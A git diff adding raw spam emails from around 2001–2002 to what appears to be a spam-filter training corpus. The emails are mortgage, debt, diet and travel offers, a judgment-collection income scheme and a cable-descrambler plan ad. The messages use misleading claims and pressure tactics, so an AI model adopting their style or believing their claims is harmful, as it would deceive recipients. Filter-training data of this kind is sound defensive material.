11.98! +Hot Sync Cables11.98! + +http://www.chinaniconline.com/sales/ + +***If You Need Assistance Please Call Us (732) 751-1457*** + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +To be removed from future mailings please send your remove +request to: removemenow68994@btamail.net.cn +Thank You and have a super day :) + + diff --git a/bayes/spamham/spam_2/00015.206d5a5d1d34272ae32fc286788fdf55 b/bayes/spamham/spam_2/00015.206d5a5d1d34272ae32fc286788fdf55 new file mode 100644 index 0000000..f388844 --- /dev/null +++ b/bayes/spamham/spam_2/00015.206d5a5d1d34272ae32fc286788fdf55 @@ -0,0 +1,52 @@ +From vty3876@freemail.com.au Sat Jul 21 12:20:58 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from focal-net.com (unknown [195.154.86.61]) by + mail.netnoteinc.com (Postfix) with ESMTP id 0327B1140BA for + ; Sat, 21 Jul 2001 11:20:58 +0000 (Eire) +Received: from freemail.com.au (admin.focal-net.qg [192.168.16.254]) by + focal-net.com (Postfix) with SMTP id C9E5B9840A; Sat, 21 Jul 2001 06:46:02 + +0200 (CEST) +Message-Id: <0000640f5c8d$00001e71$00002fd4@freemail.com.au> +To: +From: vty3876@freemail.com.au +Subject: Get Out of Debt Fast 12244 +Date: Tue, 13 Feb 2001 10:04:28 -0500 +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2615.200 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2615.200 + + + +More Than $2500 in DEBT? + +We Can Help You PAY-OFF Your BILLS!! +Click here for your FREE Consultation!! +http://mysprintfast.com/web/debtfreedom/index1.html + +~Cut your monthly payments by 50% or even more... +~Stop paying Creditors high interest rates? +~Better Manage your Financial Situation...Keep More Cash every Month! +~We can Help STOP any Creditor Harassment! +~Consolidate Regardless of past Credit History! + +Quick - Confidential - No Obligations - +Click on the link below to get started!! +http://mysprintfast.com/web/debtfreedom/index1.html + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +To be removed from all further mailings, +please send a message to: 457remove@webs.mysprintfast.com +We honor all remove requests. + + + + + + + + diff --git a/bayes/spamham/spam_2/00016.4fb07c8dff1a5a2b4889dc5024c55023 b/bayes/spamham/spam_2/00016.4fb07c8dff1a5a2b4889dc5024c55023 new file mode 100644 index 0000000..a61e572 --- /dev/null +++ b/bayes/spamham/spam_2/00016.4fb07c8dff1a5a2b4889dc5024c55023 @@ -0,0 +1,145 @@ +From corn422@emailisfun.com Tue Jun 26 04:35:01 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from linux.eic.com.tw (host250.21067181.gcn.net.tw + [210.67.181.250]) by mail.netnoteinc.com (Postfix) with ESMTP id + 8F4EF1192A0 for ; Tue, 26 Jun 2001 04:34:46 +0100 + (IST) +Received: from mail2.emailisfun.com ([4.54.215.188]) by linux.eic.com.tw + with Microsoft SMTPSVC(5.0.2172.1); Tue, 26 Jun 2001 11:58:15 +0800 +Date: Sun, 06 May 2001 17:08:21 -0500 +Content-Transfer-Encoding: 8BIT +Received: from mail2.emailisfun.com [192.168.222.7] by + 2x261.mail2.emailisfun.com with SMTP; Sun, 06 May 2001 17:08:21 -0500 +X-Mailer: Microsoft Outlook Express 5.50.4133.2400 +Cc: pooh3285@netnotify.com, pooh328@netnotify.com, pooh329@netnotify.com, + pooh32@netnotify.com, pooh3302@netnotify.com, elwood@netnotify.com, + joan@netnotify.com, mark@netnotify.com, rody@netnotify.com, + nanook@netnotify.com, janetk@netnotify.com, gerard@netnotify.com, + nsg@netnotify.com, mels@netnotify.com, jm7@netnotify.com +To: beenche@netnotify.com +Subject: Weight Loss Secrets Of Doctors And Famous Stars!!..... +Message-Id: <17dlxg2s7p1o2qcd2t11.2dra1c8g432unt5j5t5@mail2.emailisfun.com> +From: corn427@emailisfun.com +X-Originalarrivaltime: 26 Jun 2001 03:58:16.0478 (UTC) FILETIME=[3AAF2BE0: + 01C0FDF4] +Sender: corn422@emailisfun.com + + +Dear Friend,
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    +This last summer, our family had a big reunion at a fabulous resort in +Minnesota.  The water was sapphire blue and the evergreens sang as the +breeze rustled their limbs.  We had such a great time renewing old +friendships, seeing how everyone's children had grown, and catching up on +everyone's lives.  The last day we had a family picture taken, thinking +that we'd all send them out as our Christmas cards.
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    +In October we got the proofs back so that we could pick our favorite picture. +Everybody looked wonderful and the background was spectacular but I could not +find myself in the picture.  I looked and looked and finally got out a +magnifying glass.  To my horror, I found this dark curly headed woman +with a face that looked like a stretched moon!!!  Dear God it was me!!! + My body resembled an inflated hot air balloon that would take off should +a heavy wind arise... it was     HIDEOUS!  I had mirrors in my house but most of them were +designed to only reflect  from the waist up and I honestly hadn't noticed +that my cheekbones had totally disappeared and that my face looked like a +shapeless clump of flesh.  I was always so happy that I didn't have a lot +of wrinkles,  but I didn't realize that I wasn't wrinkled because my skin +was as stretched as tight as a bongo drum.
    +
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    + + + + diff --git a/bayes/spamham/spam_2/00017.6430f3b8dedf51ba3c3fcb9304e722e7 b/bayes/spamham/spam_2/00017.6430f3b8dedf51ba3c3fcb9304e722e7 new file mode 100644 index 0000000..0632706 --- /dev/null +++ b/bayes/spamham/spam_2/00017.6430f3b8dedf51ba3c3fcb9304e722e7 @@ -0,0 +1,71 @@ +From jbgaspar@hotmail.com Thu Jun 28 04:04:45 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from www.virtex-sametime.nl (unknown [212.19.228.225]) by + mail.netnoteinc.com (Postfix) with ESMTP id 48695130029; Thu, + 28 Jun 2001 04:04:17 +0100 (IST) +Received: from 63.52.248.117 ([63.52.248.117]) by www.virtex-sametime.nl + (Lotus Domino Release 5.0.5) with SMTP id 2001051015213519:7860 ; + Thu, 10 May 2001 15:21:35 +0200 +Message-Id: <0000522b67c3$00002240$0000539d@> +To: +From: jbgaspar@hotmail.com +Subject: Cut Your Monthly Payments By 50% 21405 +Date: Sat, 12 May 2001 21:00:16 -0400 +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +Errors-To: q9aw4fcnf9h5@centras.lt +X-Mimetrack: Itemize by SMTP Server on Virtex/SameTime(Release 5.0.5 + |September 22, 2000) at 10-05-2001 15:21:36, Serialize by Router on + Virtex/SameTime(Release 5.0.5 |September 22, 2000) at 28-06-2001 05:10:21, + Serialize complete at 28-06-2001 05:10:21 +Content-Transfer-Encoding: quoted-printable + + + +
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    +-_-_-_-_-_-_-_-_ + + + + + + + diff --git a/bayes/spamham/spam_2/00018.336cb9e7b0358594cf002e7bf669eaf5 b/bayes/spamham/spam_2/00018.336cb9e7b0358594cf002e7bf669eaf5 new file mode 100644 index 0000000..6eec69a --- /dev/null +++ b/bayes/spamham/spam_2/00018.336cb9e7b0358594cf002e7bf669eaf5 @@ -0,0 +1,55 @@ +From 853587356530245458675115733193999775371169790@msn.com Mon Jun 24 17:06:34 2002 +Return-Path: 853587356530245458675115733193999775371169790@msn.com +Delivery-Date: Sat May 25 13:02:28 2002 +Received: from exch.sydl.gov.cn ([202.107.41.51]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g4PC2Pe29708 for ; + Sat, 25 May 2002 13:02:26 +0100 +Received: from smtp-gw-4.msn.com (TS-FSRVR-MNL01 [202.164.172.73]) by + exch.sydl.gov.cn with SMTP (Microsoft Exchange Internet Mail Service + Version 5.5.1960.3) id LAX5DV5A; Sat, 25 May 2002 17:41:54 +0100 +Message-Id: <0000573b1ccb$0000519c$00007134@smtp-gw-4.msn.com> +To: +From: "IOLA HENDRIX" <853587356530245458675115733193999775371169790@msn.com> +Subject: Fw: This is the solution I mentioned LSC +Date: Fri, 25 May 2001 18:49:50 -1900 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +X-Keywords: +Content-Transfer-Encoding: 7bit + + + +oo +
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    Thank You,



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    + diff --git a/bayes/spamham/spam_2/00019.86ce6f6c2e9f4ae0415860fecdf055db b/bayes/spamham/spam_2/00019.86ce6f6c2e9f4ae0415860fecdf055db new file mode 100644 index 0000000..a4af32a --- /dev/null +++ b/bayes/spamham/spam_2/00019.86ce6f6c2e9f4ae0415860fecdf055db @@ -0,0 +1,75 @@ +From tmarain@ecis.com Tue Jun 26 09:07:04 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from engelsendekorte.nl (unknown [217.18.64.35]) by + mail.netnoteinc.com (Postfix) with SMTP id 624E811929F for + ; Tue, 26 Jun 2001 09:06:55 +0100 (IST) +Received: (qmail 40917 invoked from network); 27 May 2001 16:50:45 -0000 +Received: from pool-63.49.33.235.mmph.grid.net (HELO ecis.com) + (63.49.33.235) by ns.engelsendekorte.nl with SMTP; 27 May 2001 16:50:45 + -0000 +Message-Id: <00003a9c22bc$000065e7$000067d7@ecis.com> +To: +From: tmarain@ecis.com +Subject: Fire The Creep You Call Your Boss!! 26583 +Date: Sun, 27 May 2001 12:39:01 -1600 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal + + + +

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    +     + + + + diff --git a/bayes/spamham/spam_2/00020.7d36d16fd2be07c4f6a5616590cdea07 b/bayes/spamham/spam_2/00020.7d36d16fd2be07c4f6a5616590cdea07 new file mode 100644 index 0000000..11510d2 --- /dev/null +++ b/bayes/spamham/spam_2/00020.7d36d16fd2be07c4f6a5616590cdea07 @@ -0,0 +1,855 @@ +From olheie31@usa.net Mon Aug 6 13:04:09 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from ms2.hinet.net (ms2.hinet.net [168.95.4.20]) by + mail.netnoteinc.com (Postfix) with ESMTP id 8E2C4114088 for + ; Mon, 6 Aug 2001 12:04:06 +0000 (Eire) +Received: from jwinner.myip.org ([203.75.110.62]) by ms2.hinet.net + (8.8.8/8.8.8) with SMTP id TAA02960; Mon, 6 Aug 2001 19:56:57 +0800 (CST) +From: olheie31@usa.net +Received: from 63.175.43.55 ([63.175.43.55]) by jwinner.myip.org (WinRoute + Pro 4.1.25) with SMTP; Thu, 31 May 2001 13:36:17 +0800 +Message-Id: <00000e256af3$000032f9$00000b75@Received: from [192.168.1.2] + ([24.7.157.115]) by mail.rdc1.tx.home.com > +To: +Subject: Rates DROPPED! Refinancing your house can SAVE you big dollars! +Date: Wed, 30 May 2001 22:02:50 -0700 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal + + + + + + + + + +Lender's Network + + + + + + + +
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    Click Here     + + + + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00021.07d9ab534bbfba9020145659008a3a14 b/bayes/spamham/spam_2/00021.07d9ab534bbfba9020145659008a3a14 new file mode 100644 index 0000000..8881eff --- /dev/null +++ b/bayes/spamham/spam_2/00021.07d9ab534bbfba9020145659008a3a14 @@ -0,0 +1,157 @@ +From lowrate@softtip.net Mon Jun 25 13:28:06 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from smtp.easydns.com (ns1.easydns.com [216.220.40.243]) by + mail.netnoteinc.com (Postfix) with ESMTP id 5C131117F0B for + ; Mon, 25 Jun 2001 12:56:14 +0100 (IST) +Received: from smtp.easydns.com ([61.157.152.5]) by smtp.easydns.com + (8.11.3/8.11.0) with SMTP id f5PBu1X14930 for ; + Mon, 25 Jun 2001 07:56:06 -0400 +Received: by ealuka.com(WebEasyMail 3.0.0.2) http://easymail.yeah.net Wed, + 13 Jun 2001 03:59:25 -0000 +Message-Id: <000066523de7$0000106a$0000646f@softtip.net> +To: +From: lowrate@softtip.net +Subject: Spend Too Much On Your Phone Bill? 25711 +Date: Tue, 12 Jun 2001 13:00:54 -0700 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal + + + + + + +So you still don + + + + +

    +

     

    +
    +
    + + + +
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    +


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    + + + + + diff --git a/bayes/spamham/spam_2/00022.be66c630a142f0d862c2294a2d911ce1 b/bayes/spamham/spam_2/00022.be66c630a142f0d862c2294a2d911ce1 new file mode 100644 index 0000000..644358b --- /dev/null +++ b/bayes/spamham/spam_2/00022.be66c630a142f0d862c2294a2d911ce1 @@ -0,0 +1,87 @@ +From sweetyea@hotmail.com Wed Jun 27 07:48:07 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from mail.taizhou.cngb.com (unknown [211.163.115.18]) by + mail.netnoteinc.com (Postfix) with ESMTP id 87F71130028 for + ; Wed, 27 Jun 2001 07:48:04 +0100 (IST) +Received: from 210.33.88.1 [206.172.212.79] by mail.taizhou.cngb.com + (SMTPD32-6.05 EVAL) id A524F1400A0; Wed, 20 Jun 2001 14:39:32 +0800 +Message-Id: <0000682a174f$0000534d$00005445@210.104.41.3> +To: +From: sweetyea@hotmail.com +Subject: Amazing Travel Deals. Take A look! +Date: Tue, 19 Jun 2001 23:02:49 -0700 +X-Priority: 3 +X-Msmail-Priority: Normal + + +1) Disney/Orlando Vacation +Roundtrip Airfare included for 2 people in all 50 States: Only $499 + +2) Las Vegas Vacation +Roundtrip Airfare included for 2 people in all 50 States: only $499 + +3) 8 Days 7 Nights in Hawaii (condo resort) +No Airfare included: only $349 + +4) 8 Days 7 Night Bahamma Vacation +Roundtrip Airfare included (only from the following cities: Baltimore, +Richmond, Cincinnatti, Raleigh, Memphis, Nashville, Hartford, Cleveland, Pittsburg, Ft. Lauderdale ) only $549 + + +combo packages (Free Gift with Every Purchase): +1) Any 2 of these trips: only $749 +2) Any 3 of these trips: only $869 +3) All 4 trips: only $899 + +(all trips include $100's in discounts, 2 for 1 deals) + + + +To Order Please call: 1-800-909-6268 + + +All Discount Packages are Sold on a First Come, First Serve Bases. Limited Supply Availible. + + + + + + + + + + + + + + + +To be removed From future mailings reply to cyndijo@casa.as + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00023.5bec0fc32cfc42c9cc5c941d94258567 b/bayes/spamham/spam_2/00023.5bec0fc32cfc42c9cc5c941d94258567 new file mode 100644 index 0000000..deab7a8 --- /dev/null +++ b/bayes/spamham/spam_2/00023.5bec0fc32cfc42c9cc5c941d94258567 @@ -0,0 +1,41 @@ +From teresamontgomery@earthlink.net Wed Jul 3 12:35:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id 1D07E14F8FF + for ; Wed, 3 Jul 2002 12:32:47 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 03 Jul 2002 12:32:47 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g47C8T204580 for + ; Tue, 7 May 2002 13:08:29 +0100 +Received: from server-nt4.mairie-bezons.fr (mailhost.mairie-bezons.fr + [194.3.113.79]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP + id g47C8JD12826 for ; Tue, 7 May 2002 13:08:21 +0100 +Message-Id: <200205071208.g47C8JD12826@mandark.labs.netnoteinc.com> +Received: from smtp0147.mail.yahoo.com (ip503ca1af.speed.planet.nl + [80.60.161.175]) by server-nt4.mairie-bezons.fr with SMTP (Microsoft + Exchange Internet Mail Service Version 5.5.1960.3) id KM70M961; + Mon, 6 May 2002 22:57:47 +0200 +Reply-To: teresamontgomery@earthlink.net +From: teresamontgomery512517@earthlink.net +To: yyyy@neteze.com +Cc: yyyy@netmagic.net, yyyy@netmore.net, yyyy@netnoteinc.com, + jm@netrevolution.com, jm@netset.com, jm@netunlimited.net, + jm@netvigator.com +Subject: discounted mortgage broker 512517 +MIME-Version: 1.0 +Date: Sat, 23 Jun 2001 13:08:25 -0700 +Content-Type: text/html; charset="iso-8859-1" + + +

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    + +512517 + + diff --git a/bayes/spamham/spam_2/00024.621bea2c6e0ebb2eb7ac00a38dfe6b00 b/bayes/spamham/spam_2/00024.621bea2c6e0ebb2eb7ac00a38dfe6b00 new file mode 100644 index 0000000..5ee4763 --- /dev/null +++ b/bayes/spamham/spam_2/00024.621bea2c6e0ebb2eb7ac00a38dfe6b00 @@ -0,0 +1,105 @@ +From 63rlfplk4@aaaticketsource.com Wed Jun 27 03:44:14 2001 +Return-Path: <63rlfplk4@aaaticketsource.com> +Delivered-To: yyyy@netnoteinc.com +Received: from home.meetworld.net (unknown [159.226.59.43]) by + mail.netnoteinc.com (Postfix) with ESMTP id 1A970130028 for + ; Wed, 27 Jun 2001 03:44:13 +0100 (IST) +Received: from [129.37.237.24] by home.meetworld.net (Post.Office MTA + v3.5.3 release 223 ID# 0-12345L500S10000V35) with SMTP id net; + Sun, 24 Jun 2001 23:51:16 +0800 +To: +From: 63rlfplk4@aaaticketsource.com +Subject: Get Paid For What You Know 18436 +Date: Sun, 24 Jun 2001 10:41:57 -0500 +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +Message-Id: <20010627024413.1A970130028@mail.netnoteinc.com> + + +OPRAH, NIGHTLINE, MARIA SHRIVER, 48 HOURS, 20/20, +PLAYBOY, KIPLINGERS and more have all interviewed this +FAMOUS Private Investigator, seeking to find how he made +his fortune. Take a moment and learn his long sought after SECRETS. + +This PI is the originator of seeking out Judicial Judgments and using +them to make a FORTUNE! Most people have no idea what a +Judicial Judgment is, much less how to process them to earn a very +substantial income. + +Here’s the SCOOP- When one person or business files suit against +another and wins, the winner then has a JUDICIAL JUDGMENT. +BUT, even though they won- guess what? They soon find out these +SHOCKING FACTS: + +a) Its now up to them to Collect on the Judgment +b) The court does not require the loser to pay you. +c) The court will not help you to collect it. +d) Employees of the court are FORBIDDEN BY LAW from telling +you how to collect the judgment. + +All the winner really has is a WORTHLESS piece of paper. They +must trace the loser down, find their assets; their employment, bank +accounts, real estate, stocks and bonds, etc. And THE WINNER +has to pay all the expenses to find this out. All of a sudden that +BIG CASH SETTLEMENT the person got, has become an +expense instead of an asset! + +WHAT HAPPENS THEN?- MILLIONS of Judgments just sit in +files and become forgotten. people give up trying. Right now in the +United States there are between 200 and 300 BILLION dollars of +uncollected JUDICIAL JUDGMENTs. For every Judgment that is paid, +5 or more unpaid Judgments take its place. + +So how does this Private Investigator make a FORTUNE collecting +other people’s judgments? That’s what we want to tell you. +Through long and hard work, this Sleuth has learned a +process that will turn these forgotten useless pieces of paper +into a FORTUNE without the high collection cost. + +The income potential is substantial in this profession! Using the +techniques taught in his course , people are now working full-time +making $96,000.00 to over $200,000.00 per year. Part-time +associates are earning between $24,000.00 and $100,000.00 per +year. Most choose to work out of their homes, others build sizable +organizations. + +Today, people trained in this business opportunity are processing +over 500 million dollars in JUDICIAL JUDGMENTs! AND, +new judgments become available every day. The work is +ALWAYS there, you just need to know how to go about it. +This is a GREAT OPPORTUNITY for anyone who wants to start +something “on the side” that will offer a solid income in the future. +It is also ideal because you determine how much time you want to +spend doing this and when. Make no mistake though-THIS IS NOT +A GET RICH QUICK SCHEME. It requires effort on your part. +The more effort the bigger the reward. You choose how much you +want to make! + +If you've ever dreamed the American Dream financial freedom +this may very well be the opportunity you’ve been looking for. +This business can also protect you from corporate downsizing. +It might also be your ticket to freedom from others telling you what +to do. This business lets you control your destiny! You don’t need +to be a rocket scientist either! Our training has made this happen for +many others already. Make it happen for you too! + +Take the first step and talk it over with one of our trained +counselors by calling 1-720-733-7315. Let them answer your +questions so that you’ll know if it’s right for you. There is no cost +or obligation on your part except the cost of a phone call. + +Join a small number of people who are reaping the BIG +REWARDS, by calling us at 1-720-733-7315 today! + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00025.9054470cb5193db2955a4d4a003698d6 b/bayes/spamham/spam_2/00025.9054470cb5193db2955a4d4a003698d6 new file mode 100644 index 0000000..c1e5e8c --- /dev/null +++ b/bayes/spamham/spam_2/00025.9054470cb5193db2955a4d4a003698d6 @@ -0,0 +1,107 @@ +From jnoqpe9783l@aaatrading.com Tue Jun 26 22:21:57 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from post.wwl.de (mail2.wwl.de [62.157.220.92]) by + mail.netnoteinc.com (Postfix) with ESMTP id E5464130028 for + ; Tue, 26 Jun 2001 22:21:56 +0100 (IST) +Received: from (schabmueller.de) [62.157.239.77] by post.wwl.de with smtp + (Exim 3.12 #1) id 15F0HM-00019f-00 (Debian); Tue, 26 Jun 2001 23:21:48 + +0200 +Received: from 129.37.237.24 ([129.37.237.24]) by 192.168.2.2; + Sun, 24 Jun 2001 18:14:29 +0200 +To: +From: jnoqpe9783l@aaatrading.com +Subject: Looking For Extra Cash? 23719 +Date: Sun, 24 Jun 2001 11:09:09 -0500 +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +Message-Id: + + +OPRAH, NIGHTLINE, MARIA SHRIVER, 48 HOURS, 20/20, +PLAYBOY, KIPLINGERS and more have all interviewed this +FAMOUS Private Investigator, seeking to find how he made +his fortune. Take a moment and learn his long sought after SECRETS. + +This PI is the originator of seeking out Judicial Judgments and using +them to make a FORTUNE! Most people have no idea what a +Judicial Judgment is, much less how to process them to earn a very +substantial income. + +Here’s the SCOOP- When one person or business files suit against +another and wins, the winner then has a JUDICIAL JUDGMENT. +BUT, even though they won- guess what? They soon find out these +SHOCKING FACTS: + +a) Its now up to them to Collect on the Judgment +b) The court does not require the loser to pay you. +c) The court will not help you to collect it. +d) Employees of the court are FORBIDDEN BY LAW from telling +you how to collect the judgment. + +All the winner really has is a WORTHLESS piece of paper. They +must trace the loser down, find their assets; their employment, bank +accounts, real estate, stocks and bonds, etc. And THE WINNER +has to pay all the expenses to find this out. All of a sudden that +BIG CASH SETTLEMENT the person got, has become an +expense instead of an asset! + +WHAT HAPPENS THEN?- MILLIONS of Judgments just sit in +files and become forgotten. people give up trying. Right now in the +United States there are between 200 and 300 BILLION dollars of +uncollected JUDICIAL JUDGMENTs. For every Judgment that is paid, +5 or more unpaid Judgments take its place. + +So how does this Private Investigator make a FORTUNE collecting +other people’s judgments? That’s what we want to tell you. +Through long and hard work, this Sleuth has learned a +process that will turn these forgotten useless pieces of paper +into a FORTUNE without the high collection cost. + +The income potential is substantial in this profession! Using the +techniques taught in his course , people are now working full-time +making $96,000.00 to over $200,000.00 per year. Part-time +associates are earning between $24,000.00 and $100,000.00 per +year. Most choose to work out of their homes, others build sizable +organizations. + +Today, people trained in this business opportunity are processing +over 500 million dollars in JUDICIAL JUDGMENTs! AND, +new judgments become available every day. The work is +ALWAYS there, you just need to know how to go about it. +This is a GREAT OPPORTUNITY for anyone who wants to start +something “on the side” that will offer a solid income in the future. +It is also ideal because you determine how much time you want to +spend doing this and when. Make no mistake though-THIS IS NOT +A GET RICH QUICK SCHEME. It requires effort on your part. +The more effort the bigger the reward. You choose how much you +want to make! + +If you've ever dreamed the American Dream financial freedom +this may very well be the opportunity you’ve been looking for. +This business can also protect you from corporate downsizing. +It might also be your ticket to freedom from others telling you what +to do. This business lets you control your destiny! You don’t need +to be a rocket scientist either! Our training has made this happen for +many others already. Make it happen for you too! + +Take the first step and talk it over with one of our trained +counselors by calling 1-720-733-7315. Let them answer your +questions so that you’ll know if it’s right for you. There is no cost +or obligation on your part except the cost of a phone call. + +Join a small number of people who are reaping the BIG +REWARDS, by calling us at 1-720-733-7315 today! + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00026.c62c9f08db4ee1b99626dbae575008fe b/bayes/spamham/spam_2/00026.c62c9f08db4ee1b99626dbae575008fe new file mode 100644 index 0000000..9b44488 --- /dev/null +++ b/bayes/spamham/spam_2/00026.c62c9f08db4ee1b99626dbae575008fe @@ -0,0 +1,162 @@ +From paulson6@arabia.com Mon Jun 25 13:11:28 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from exchange.harbin.cc (unknown [202.97.247.130]) by + mail.netnoteinc.com (Postfix) with ESMTP id CABAA114155 for + ; Mon, 25 Jun 2001 12:18:19 +0100 (IST) +Received: from 207.173.146.92 (eli-207-173-146-92.fgn.net + [207.173.146.92]) by exchange.harbin.cc with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2650.21) id NM8LGL9X; Mon, + 25 Jun 2001 18:26:25 +0800 +Message-Id: <0000104257bd$00001f24$00007177@> +To: +From: paulson6@arabia.com +Subject: *THE LEGAL CABLE TV DESCRAMBLER* +Date: Sun, 24 Jun 2001 20:45:01 -0700 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal + + + + + + +
    +     + NOTE: THIS IS AN ADVERTISEMENT FOR LEGAL TV + DE-SCRAMBLER IF YOU HAVE NO INTEREST IN THIS INFORMATION
    +PLEASE CLICK DELETE NOW. THANK YOU--
    +
    +
    +LEGAL CABLE TV DE-SCRAMBLER
    +
    +Want to watch Sporting Events?--Movies?--Pay-Per-View??
    +
    +*This is the Famous R-D-O Shack TV Descrambler
    +You can assemble it from R-D-O Shack parts for about $12 or $15.
    +
    +We Send You:
    +E-Z To follow Assembly Instructions.
    +E-Z To read Original Drawings.
    +The Famous R-D-O Shack Parts List.
    +
    +PLUS SOMETHING NEW YOU MUST HAVE!
    +
    +Something you can't do without.
    +
    +THE UP-TO-DATE REPORT: USING A DESCRAMBLER LEGALLY
    +
    +
    +
    +Warning: You should not build a TV Descrambler without
    +reading this report first.
    +
    +Frequently Asked Questions--CABLE TV DESCRAMBLER
    +
    +Q: Will the descrambler work on Fiber, TCI, Jarrod
    +and satellite systems?
    +A: The answer is YES. In respect to satellite,
    +you just get more stuff! There is one exception:
    + The descrambler will not work with DSS satellite.
    +
    +Q: Do I need a converter box?
    +A: This plan works with or without a converter box.
    + Specific instructions are included in the plans for each!
    +
    +Q: Can the cable company detect that I have the descrambler?
    +A: No, the signal descrambles right at the box and does
    + not move back through the line!
    +
    +Q: Do I have to alter my existing cable system,
    +television or VCR?
    +A: The answer is no!
    +
    +Q: Does this work with my remote control?
    +A: The answer is yes. The descrambler is
    +manually controlled--but very easy to use!
    +
    +Q: Can you email me the plans?
    +A: No the program comes with an easy to follow picture guide.
    +
    +Q: Does this work everywhere across the country?
    +A: Yes, every where in the USA plus England,
    + Brazil, Canada and other countries!
    +
    +Q: When I order, when will I get my stuff?
    +A: We mail out all orders within 48 hours of receiving them.
    +
    + YOU SUPPLY A SELF-ADDRESSED, STAMPED, #10 LONG ENVELOPE, WITH
    +TWO-FIRST CLASS STAMPS.
    +
    +
    +Q: How much does it cost to get the instruction
    +plans, the easy to follow diagram, and most
    + important of all the Using a Descrambler LEGALLY.
    +     +
    +A: You get the complete package all for just--$10.00
    + (Cash, Check or Postal Money Order.)
    +(Arizona residents include 7% Arizona State Sales Tax)
    +
    +(All orders outside the U.S.A. add $5.00)
    +
    +ORDERS OUTSIDE THE US MUST BE IN $15 in US CASH!
    +
    +Q: How do I order?
    +A: Fill out form below and send it, along with your payment
    + AND YOUR SELF ADDRESSED 2 STAMPED ENVELOPE to:
    +
    +A Groves
    +PO BOX 8051
    +Mesa, AZ 85214-8051
    +
    +     + MAKE CHECKS PAYABLE TO: A Groves
    +
    +PRINT YOUR:
    + (orders without an envelope or stamps will be processed
    + up to 2 weeks later than complete orders)
    +
    + DO NOT FORGET YOUR STAMPS!
    +
    +NAME_____________________________________________
    +
    +ADDRESS__________________________________________
    +
    +CITY/STATE/ZIP_____________________________________
    +
    +DO NOT FORGET YOUR 2, 33 or 34 cent stamps and #10 envelope!
    +
    +
    +
    +
    +
    +*A GROVES is NOT ASSOCIATED in any way with RADIO SHACK.
    + Neither the design nor instructions were developed
    + by, are sold by, or are endorsed by Radio Shack.
    + Parts for this fine-tuning device are available
    + at many electronics stores (including Radio Shack)
    + This is not a Radio Shack product.
    +
    +
    +
    +
    +to be removed reply to: gotcha3490@looksmart.com.au
    +
    +
    +
    +
    +
    +
    +
    +

    + + +

    + + + + diff --git a/bayes/spamham/spam_2/00027.b7b61e4624a29097cf55b578089c6110 b/bayes/spamham/spam_2/00027.b7b61e4624a29097cf55b578089c6110 new file mode 100644 index 0000000..9ae6347 --- /dev/null +++ b/bayes/spamham/spam_2/00027.b7b61e4624a29097cf55b578089c6110 @@ -0,0 +1,45 @@ +From Looking4YOUNite211075@aol.com Mon Jun 24 17:03:35 2002 +Return-Path: Looking4YOUNite@aol.com +Delivery-Date: Tue May 14 02:36:07 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4E1Zse06066 for + ; Tue, 14 May 2002 02:35:54 +0100 +Received: from ccidcall.com ([202.108.85.157]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4E1ZjD17146 for + ; Tue, 14 May 2002 02:35:48 +0100 +Received: from smtp0421.mail.yahoo.com [202.110.123.94] by ccidcall.com + (SMTPD32-7.05) id A767AF40030; Thu, 09 May 2002 05:23:51 +0800 +Reply-To: Looking4YOUNite@aol.com +From: Looking4YOUNite211075@aol.com +To: yyyy@netbox.com +Cc: yyyy@netcom.ca, yyyy@netcomuk.co.uk, yyyy@netdados.com.br, yyyy@neteze.com, + jm@netmagic.net, jm@netmore.net, jm@netnoteinc.com, jm@netrevolution.com +Subject: looking 4 real fun 211075433222 +MIME-Version: 1.0 +Date: Mon, 25 Jun 2001 13:27:48 -0700 +Message-Id: <200205090524750.SM01416@smtp0421.mail.yahoo.com> +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" + + + 